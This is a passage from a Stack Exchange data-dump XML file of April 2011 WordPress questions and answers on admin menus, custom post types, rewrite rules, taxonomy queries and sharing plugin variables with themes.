of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_menu() {&#xA;global $menu;&#xA;//remove post top level menu for editor role&#xA;if current_user_can('editor'){&#xA;unset($menu[5]); }&#xA;}&#xA;add_action('admin_head', 'remove_menu');&#xA;// ($menu[5]) is the &quot;Posts&quot; menu&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see a much more detailed example here &lt;a href=&quot;http://hungred.com/how-to/remove-wordpress-admin-menu-affecting-wordpress-core-system/&quot; rel=&quot;nofollow&quot;&gt;http://hungred.com/how-to/remove-wordpress-admin-menu-affecting-wordpress-core-system/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-04-01T05:50:03.677" LastActivityDate="2011-04-01T05:50:03.677" />
  <row Id="13688" PostTypeId="1" CreationDate="2011-04-01T08:32:19.543" Score="-3" ViewCount="149" Body="&lt;p&gt;I need to create a Wordpress Custorm Post Type with the following fields, I am not a developer and would appreciate a cut and paste. The Fields are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contact Person, Address, Telephone, Cellphone, Fax, Email, Website&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HELP&lt;/p&gt;&#xA;" OwnerUserId="4366" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-04-01T13:00:18.000" LastActivityDate="2011-06-03T09:53:17.293" Title="How to &quot;Custom Post Type&quot; as a non-programmer?" Tags="&lt;custom-post-types&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" />
  <row Id="13689" PostTypeId="2" ParentId="13444" CreationDate="2011-04-01T08:34:09.267" Score="0" ViewCount="" Body="&lt;p&gt;You need to edit the .htaccess file, and add some rewrite rules. This only works with apache2, for other web servers, you need other solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before the main part of the wordpress rewrite rules, but after RewriteEngine On:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# check if the file exist&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_URI} ^/images/&#xA;RewriteRule ^(.*)$ thumb.php?src=http://%{HTTP_HOST}/$1&amp;amp;h=200&amp;amp;w=350&amp;amp;zc=1&amp;amp;q=80 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note, I cannot test this right now, and I'm really not sure, it'll work, but you need something like this.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-04-01T08:34:09.267" />
  <row Id="13690" PostTypeId="1" AcceptedAnswerId="13723" CreationDate="2011-04-01T09:33:38.690" Score="1" ViewCount="160" Body="&lt;p&gt;Hi im looking at hardcoding a wp plugin into a theme, the plugin is &lt;a href=&quot;http://wordpress.org/extend/plugins/amr-clearskys-availability-modification-for-27/&quot; rel=&quot;nofollow&quot;&gt;Calendar&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what i have done as of yet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Moved files from wp-content/plugins into a folder within theme folder and made the changes so that paths are followed correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Set to populate database via an SQL query rather than via plugin activation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Altered role caps so that contributers can add / delete bookings etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i am now wanting to do is remove the functionality of it having to be edited within wp-admin dashboard (even though its no longer in plugins folder it still requires editing in wp-admin, due to how the plugin sets the menus etc) and rather have post_author edit it on a created page within the theme (edit_booking.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its not so simple as taking out chunks of code and adding them into edit_booking.php (only the html works), im looking for a way how to port the whole thing over and away from wp-admin, im guessing that in wp-admin there are functions called via the header/footer that need also to be ported over into my own theme functions.php does anyone have experience of doing similar and care to share a few enlightening tidbits of info on how to go about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Martin&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-04-01T16:43:35.047" Title="Hardcode a Plugin into theme" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="13692" PostTypeId="2" ParentId="6762" CreationDate="2011-04-01T10:14:33.463" Score="0" ViewCount="" Body="&lt;p&gt;The best platform I found is to use &lt;a href=&quot;http://www.uniformserver.com/&quot; rel=&quot;nofollow&quot;&gt;Uniform Server&lt;/a&gt;, as it doesn't use any registry entries and is maintained fairly well. It also had a virtual host option script that will add the subdomain vhost entry AND append your subdomain to the windows HOSTS file for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You get the latest apache, php, mysql and a bit more with it. (It's got a mail server that allows php (and therefore wordpress) to use your hotmail or gmail and the like to send mail.) It also seems to be the best maintained, with the &lt;a href=&quot;http://en.wikipedia.org/wiki/Comparison_of_WAMPs&quot; rel=&quot;nofollow&quot;&gt;most current versions of the included softwares&lt;/a&gt;. (Also it's httpd.conf file is configured more cpu-friendly than others I tried.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also put the path to mysql in my windows system path, so I can use mysql from the command line. That way I can put my live database onto my testing server with backing up from the shell:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysqldump -u dbusername -ppassnospace  db_name &amp;gt; dbsavefilename.sql&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I download the db file. After I create a local db and user on my local phpmyadmin, I restore it via the windows command line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysql -u dbusername -ppassnospace  db_name &amp;lt; dbsavefilename.sql&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then it's a matter of adjusting wpconfig.php to use the local data, and then going in on the local phpmyadmin and changing the siteurl and home fields to point to the new local working domain. I will always set things up so that clientdomain.com is clientdomain.local so I don't forget which I'm looking at. &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php&quot; rel=&quot;nofollow&quot;&gt;If you hunt around the Codex&lt;/a&gt;, you'll see you don't always need to change these in the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_SITEURL', 'http://example.local');&#xA;define('WP_HOME', 'http://example.local');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Oh, and lastly, do yourself a favor -- when you set it up on your local machine, take a moment to make a copy of your live wp-config.php and name it wp-config-live.php so you don't lose the settings. You will most likely forget sooner or later, and upload it over your live one.&lt;/p&gt;&#xA;" OwnerUserId="1515" LastActivityDate="2011-04-01T10:14:33.463" />
  <row Id="13693" PostTypeId="1" AcceptedAnswerId="13752" CreationDate="2011-04-01T10:51:58.657" Score="3" ViewCount="233" Body="&lt;p&gt;I use my own svn repositories for all my development.  I am looking for an easy way to keep the svn repository wordpress provides for my plugin synced up with my own internal repository.  The desired end result being that when I commit a change to my own internal repository it gets duplicated automatically to my repository at plugins.svn.wordpress.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANd just to make things fun and interesting, I do not have any access to the server where my svn repositorys are held, I use a svn hosting service.&lt;/p&gt;&#xA;" OwnerUserId="4370" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-04-05T05:25:33.807" LastActivityDate="2011-04-05T05:25:33.807" Title="Sync my svn repositories" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;subversion&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" />
  <row Id="13694" PostTypeId="1" AcceptedAnswerId="13696" CreationDate="2011-04-01T10:55:42.767" Score="0" ViewCount="197" Body="&lt;p&gt;i hope you are well today,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is just breif i am trying to query from a custom post type by a certain taxonomy only;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to keep it streamline lets use the below as an example;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Custom Post Type:&lt;/strong&gt; &lt;em&gt;'Products';&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Taxonomy:&lt;/strong&gt; &lt;em&gt;'Categories';&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Categories within 'Categories';&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(1) Category 1&#xA;(2) Category 2&#xA;(3) Category 3&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i would like query posts from the Custom Post Type &lt;strong&gt;'Products'&lt;/strong&gt; and within &lt;strong&gt;'Category 1'&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would this be done ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code for what querying the custom post type and attempting to query the taxonomy category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;    $post_per_page = -1; // -1 shows all posts&#xA;    $do_not_show_stickies = 1; // 0 to show stickies&#xA;    $args=array(&#xA;    'post_type' =&amp;gt; 'products',&#xA;    'taxonomy' =&amp;gt; 'category-1',&#xA;    'paged' =&amp;gt; $paged,&#xA;    'posts_per_page' =&amp;gt; $post_per_page,&#xA;    'order' =&amp;gt; 'ASC',&#xA;    );&#xA;    $temp = $wp_query;  // assign orginal query to temp variable for later use&#xA;    $wp_query = null;&#xA;    $wp_query = new WP_Query($args);&#xA;    if( have_posts() ) : while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4369" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-01T11:09:35.100" LastActivityDate="2011-04-01T11:12:58.000" Title="Query Custom Post by Taxonomy Category" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="13695" PostTypeId="2" ParentId="13688" CreationDate="2011-04-01T11:02:53.793" Score="3" ViewCount="" Body="&lt;p&gt;I think you have misunderstood what Custom Post Types are used for, if your trying to gather data try a plugin called Contact-Form-7 or if you want to post data then try using custom fields with the name of Contact Person, Address, Telephone, Cellphone, Fax, Email, Website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can echo custom fields into your theme files with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $custom_field = get_post_meta($post-&amp;gt;ID, 'custom-field-name', $single = true); ?&amp;gt;&#xA;&amp;lt;?php echo $custom_field  ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you add a custom field called: 'contact-name'&#xA;then you can setup the code to echo the data as follows;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $contact_name = get_post_meta($post-&amp;gt;ID, 'contact-name', $single = true); ?&amp;gt;&#xA;    &amp;lt;?php echo $contact_name ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4369" LastEditorUserId="4369" LastEditorDisplayName="" LastEditDate="2011-04-01T11:08:30.170" LastActivityDate="2011-04-01T11:08:30.170" CommentCount="3" />
  <row Id="13696" PostTypeId="2" ParentId="13694" CreationDate="2011-04-01T11:12:58.000" Score="0" ViewCount="" Body="&lt;p&gt;There are 3 ways of doing that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;'category_name' =&amp;gt; 'category-1'&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;b)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&#xA;'taxonomy' =&amp;gt; 'category',&#xA;'term' =&amp;gt; 'category-1',&#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;c)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;'tax_query' =&amp;gt; array(&#xA;  array( 'taxonomy' =&amp;gt; 'category', 'terms' =&amp;gt; array( 'category-1' ) )&#xA;)&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-01T11:12:58.000" CommentCount="1" />
  <row Id="13698" PostTypeId="2" ParentId="13364" CreationDate="2011-04-01T11:21:17.617" Score="1" ViewCount="" Body="&lt;p&gt;That script looks very old and obtrusive and it doesn't output a marquee, but a slideshow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There already are hundreads of themes with a slideshow built in, as well as many newer jQuery plugins which you can switch to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're still convinced this particular script is worth the time to fix, install &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt; to see the exact error.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-01T11:21:17.617" CommentCount="1" />
  <row Id="13700" PostTypeId="1" AcceptedAnswerId="13791" CreationDate="2011-04-01T11:54:25.607" Score="1" ViewCount="196" Body="&lt;p&gt;Is there a way to remove 'category' from the slug when viewing posts in a particular category in WordPress 3.1 without it breaking? My client is asking me to remove it, but it seems necessary - I get a Page Not Found error when using this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fortes.com/projects/wordpress/top-level-cats/&quot; rel=&quot;nofollow&quot;&gt;http://fortes.com/projects/wordpress/top-level-cats/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He also doesn't want to just change it to another word...very frustrating...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;" OwnerUserId="2685" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-02T05:16:42.827" LastActivityDate="2011-05-11T19:20:12.633" Title="WordPress 3.1 removing 'category' from the slug" Tags="&lt;3.1&gt;&lt;slug&gt;" AnswerCount="3" />
  <row Id="13701" PostTypeId="2" ParentId="13700" CreationDate="2011-04-01T12:01:22.120" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-no-category-base/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-no-category-base/&lt;/a&gt;&#xA;This seems to be an up to date plugin for the same thing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;remove category base is probably what you want to search for if exploring other options&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-04-01T12:01:22.120" CommentCount="1" />
  <row Id="13702" PostTypeId="1" AcceptedAnswerId="13706" CreationDate="2011-04-01T12:10:33.113" Score="0" ViewCount="62" Body="&lt;p&gt;I have made a multiple category. Each item belong to one or more category. So when display one item, i like to retreive the category of this item, and display all post that have belong to that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example. Chair : cat = sit, leather, one person&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when display the chair, i like below to display all item that have : sit leather and one person as category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugsin that do that ?, or in php it's simple to do ?&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-04-01T13:10:51.563" Title="Category &quot;same post&quot; retreive and display" Tags="&lt;plugins&gt;&lt;categories&gt;" AnswerCount="1" />
  <row Id="13703" PostTypeId="2" ParentId="13690" CreationDate="2011-04-01T12:39:07.693" Score="5" ViewCount="" Body="&lt;p&gt;This is probably not what you want to hear, but from quick look over code this plugin doesn't use a single WP practice for forms, JS and security. It doesn't let WP APIs handle data, it doesn't sanitize inputs, it doesn't escape output...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I strongly advise you to not use this code without &lt;strong&gt;major&lt;/strong&gt; rewrite of forms it would take to have, at the very least, proper security aspects in place.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-01T12:39:07.693" CommentCount="1" />
  <row Id="13704" PostTypeId="2" ParentId="13688" CreationDate="2011-04-01T12:55:29.247" Score="0" ViewCount="" Body="&lt;p&gt;You would need to add the custom post type in a plugin file, like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_post_type' );&#xA;&#xA;&#xA;function create_post_type() {&#xA;&#xA;register_post_type('file', array(&#xA;    'label' =&amp;gt; __('Organizations'), // e.g. apples&#xA;    'singular_label' =&amp;gt; __('Organization'), // e.g. apple&#xA;    'public' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true, // UI in admin panel&#xA;    '_builtin' =&amp;gt; false, // It's a custom post type, not built in!&#xA;    '_edit_link' =&amp;gt; 'post.php?post=%d',&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'rewrite' =&amp;gt; array(&quot;slug&quot; =&amp;gt; &quot;YOURNAME&quot;), // Permalinks format&#xA;    'supports' =&amp;gt; array('title','author','custom-fields','comments' )&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See for full possible options this page &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;register post type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then to add each field to the post type, you could use post meta.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_post_meta($post_id, YOURMETANAME, YOURVALUE);&#xA;add_post_meta($post_id, 'Name', 'John Doe');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which you can retrieve with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_post_meta($post_id, YOURMETANAME, YOURVALUE);&#xA;get_post_meta($post_id, 'Name', 'John Doe');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can't be done with simple copy/pasting, it will require some work from your side...&lt;/p&gt;&#xA;" OwnerUserId="2356" LastActivityDate="2011-04-01T12:55:29.247" CommentCount="4" />
  <row Id="13705" PostTypeId="2" ParentId="13677" CreationDate="2011-04-01T13:09:40.940" Score="1" ViewCount="" Body="&lt;p&gt;While I understand it's not really the answer to your question, it might give your inspiration on how someone else did it:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/7112/w3-total-cache-cache-refresh-programmatically&quot;&gt;Clear W3C Total Cache&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2356" LastActivityDate="2011-04-01T13:09:40.940" CommentCount="1" />
  <row Id="13706" PostTypeId="2" ParentId="13702" CreationDate="2011-04-01T13:10:51.563" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;# according to your example:&#xA;$categories = array ( 'sit', 'leather', 'one person'  );&#xA;&#xA;# get all id's by the category names&#xA;foreach ($categories as $category_name) {&#xA;$category = get_term_by( 'name', $category_name , 'category' ); &#xA;$ids[] = $category-&amp;gt;term_id;&#xA;}&#xA;&#xA;# get all posts for the categories&#xA;query_posts( 'cat='.join(',',$ids) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sorry, I cannot test it right now, this is just a guess till tomorrow.&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-04-01T13:10:51.563" CommentCount="1" />
  <row Id="13707" PostTypeId="1" AcceptedAnswerId="13709" CreationDate="2011-04-01T13:48:43.293" Score="0" ViewCount="133" Body="&lt;p&gt;First plugin, basic question... I am trying to print the variable &lt;code&gt;$xavi&lt;/code&gt; from a &lt;strong&gt;plugin&lt;/strong&gt; into a theme like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', '_load_options');&#xA;&#xA;function _load_options() {&#xA;  global $xavi;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that I can use it in a &lt;strong&gt;theme&lt;/strong&gt; file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?=$xavi;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't look like &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/init&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;init&lt;/code&gt;&lt;/a&gt; is the right action hook for this but the only other one that makes sense is &lt;code&gt;wp_head&lt;/code&gt; and doesn't work either&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas which hook should I use or how should I define variables (maybe through an existing WP function/method instead of creating one from scratch)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4217" LastActivityDate="2011-08-07T03:22:38.680" Title="Variable from a plugin into a theme" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="13708" PostTypeId="2" ParentId="13707" CreationDate="2011-04-01T14:26:18.683" Score="0" ViewCount="" Body="&lt;p&gt;You can use functions in themes. If I'm correct you can add the following in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php _load_options() ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should work. However the _ probably means that it's private, so you might need to make the function public.&lt;/p&gt;&#xA;" OwnerUserId="2356" LastActivityDate="2011-04-01T14:26:18.683" CommentCount="1" />
  <row Id="13709" PostTypeId="2" ParentId="13707" CreationDate="2011-04-01T14:47:04.583" Score="4" ViewCount="" Body="&lt;p&gt;Your webhost has disabled &lt;code&gt;register_globals&lt;/code&gt; in the &lt;strong&gt;php.ini&lt;/strong&gt;, so you have to &quot;register&quot; your variables manually everytime you want to use it. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $xavi;&#xA;echo $xavi;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another approach is using the &lt;code&gt;$GLOBALS&lt;/code&gt; array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo $GLOBALS['xavi'];&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in my opinion, you should avoid using globals. Instead use a simple registry-class, which you can add/get your values.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This isn't a WordPress specific solution and could be a bit of an overkill for this simple question. The registry pattern is an official programming design-pattern. Same goes for the singleton-pattern which I've used here too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we do here is to store our content in a registry-object. It's singleton, so only one instance is created. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know, the problem isn't solved really. Instead of using the $GLOBALS array, we are using a registry class which is indeed also &quot;global&quot; as we call the instance everytime we need it. You don't have control, where you call it. Also the testing of a singleton class could be problematic. If you want more control, just look at the factory-pattern with dependancy injection.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Webeo_Registry {&#xA;    /**&#xA;     * Array to store items&#xA;     * &#xA;     * @var array&#xA;     */&#xA;    private $_objects = array();&#xA;&#xA;    /**&#xA;     * Stores the registry object&#xA;     * &#xA;     * @var Webeo_Registry&#xA;     */&#xA;    private static $_instance = null;&#xA;&#xA;    /**&#xA;     * Get the instance&#xA;     * &#xA;     * @return void&#xA;     */&#xA;    public static function getInstance() {&#xA;        if (is_null(self::$_instance)) {&#xA;            self::$_instance = new self();&#xA;        }&#xA;&#xA;        return self::$_instance;&#xA;    }&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     * &#xA;     * @access private&#xA;     * @return void&#xA;     */&#xA;    private function __construct() {}&#xA;&#xA;    /**&#xA;     * Set an item by given key and value&#xA;     * &#xA;     * @param string $key&#xA;     * @param void $value&#xA;     * @return void&#xA;     */&#xA;    public function __set($key, $value) {&#xA;        // maybe you want to check if the value already exists&#xA;        $this-&amp;gt;_objects[$key] = $value;&#xA;    }&#xA;&#xA;    /**&#xA;     * Get an item by key&#xA;     * &#xA;     * @param string $key Identifier for the registry item&#xA;     * @return void&#xA;     */&#xA;    public function __get($key) {&#xA;        if(isset($this-&amp;gt;_objects[$key])) {&#xA;            $result = $this-&amp;gt;_objects[$key];&#xA;        } else {&#xA;            $result = null;&#xA;        }&#xA;&#xA;        return $result;&#xA;    }&#xA;&#xA;    /**&#xA;     * Check if an item with the given key exists&#xA;     * &#xA;     * @param string $key&#xA;     * @return void&#xA;     */&#xA;    public function __isset($key) {&#xA;        return isset($this-&amp;gt;_objects[$key]);&#xA;    }&#xA;&#xA;    /**&#xA;     * Delete an item with the given key&#xA;     * &#xA;     * @param string $key&#xA;     * @return void&#xA;     */&#xA;    public function __unset($key) {&#xA;        unset($this-&amp;gt;_objects[$key]);&#xA;    }&#xA;&#xA;    /**&#xA;     * Make clone private, so nobody can clone the instance&#xA;     * &#xA;     * @return void&#xA;     */&#xA;    private function __clone() {}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your plugin/theme, you only have to return the instance and you're ready to use it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$registry = Webeo_Registry::getInstance();&#xA;&#xA;// Define some options (just add it after the &quot;-&amp;gt;&quot;. The magic method __set will do the rest)&#xA;$registry-&amp;gt;optionA = 'awdawd';&#xA;$registry-&amp;gt;optionB = array(1,2,3);&#xA;&#xA;// Check the content&#xA;print_r($registry);&#xA;&#xA;// Remove an item&#xA;unset($registry-&amp;gt;optionA);&#xA;&#xA;// Check if option exists&#xA;if(isset($registry-&amp;gt;optionA)) {&#xA;    echo 'option exist';&#xA;} else {&#xA;    echo 'option does not exist';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastEditorUserId="3817" LastEditorDisplayName="" LastEditDate="2011-04-01T17:56:30.970" LastActivityDate="2011-04-01T17:56:30.970" CommentCount="4" />
  <row Id="13710" PostTypeId="1" CreationDate="2011-04-01T15:07:22.313" Score="0" ViewCount="189" Body="&lt;p&gt;I am trying to query wordPress data from outside of wordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the mysql query for querying a categories archive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT SQL_CALC_FOUND_ROWS &#xA;&#xA;wp_posts.* &#xA;&#xA;FROM wp_posts &#xA;&#xA;INNER JOIN wp_term_relationships &#xA;    ON (wp_posts.ID = wp_term_relationships.object_id)&#xA;&#xA;WHERE 1=1 &#xA;AND ( wp_term_relationships.term_taxonomy_id IN (173) ) &#xA;AND wp_posts.post_type = 'post' &#xA;AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'private')&#xA;&#xA;GROUP BY wp_posts.ID &#xA;ORDER BY wp_posts.post_date &#xA;DESC LIMIT 0, 30 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to add a column to the returned rows for the_post_thumbnail (featured image)... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking that the image location is in the 'guid' column and could be joined by the 'post_parent' column, but I am not sure how to add this to the query, does anyone have any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1489" LastActivityDate="2011-04-01T15:07:22.313" Title="JOIN &quot;featured image&quot; to custom mysql query" Tags="&lt;mysql&gt;&lt;customization&gt;" CommentCount="2" />
  <row Id="13712" PostTypeId="1" AcceptedAnswerId="13715" CreationDate="2011-04-01T15:40:59.280" Score="1" ViewCount="138" Body="&lt;p&gt;How would I go about adding a column to the Page Admin area that would show the last revision date of all pages? Alongside the Author and Published Date columns?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to keep an eye on the page edits that other users do, and right now, the Page Admin area will only show the published date for a published page and the last modified date of a draft. So I need to show the revision date by any user of each published page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly complicating things is I have post/page revisions disabled in wp-config.php to keep the database down to size, so an action can't hook into already existing page revision metadata.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the database contains a &lt;code&gt;post_modified_gmt&lt;/code&gt; metadata column, so can that be grabbed by a direct database query? Not a good idea? And would I use this kind of action? &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/manage_posts_custom_column&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference/manage_posts_custom_column&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-05-26T20:14:46.707" Title="Add &quot;Page Revised&quot; column to Admin" Tags="&lt;wp-admin&gt;&lt;add-action&gt;" AnswerCount="1" FavoriteCount="1" />
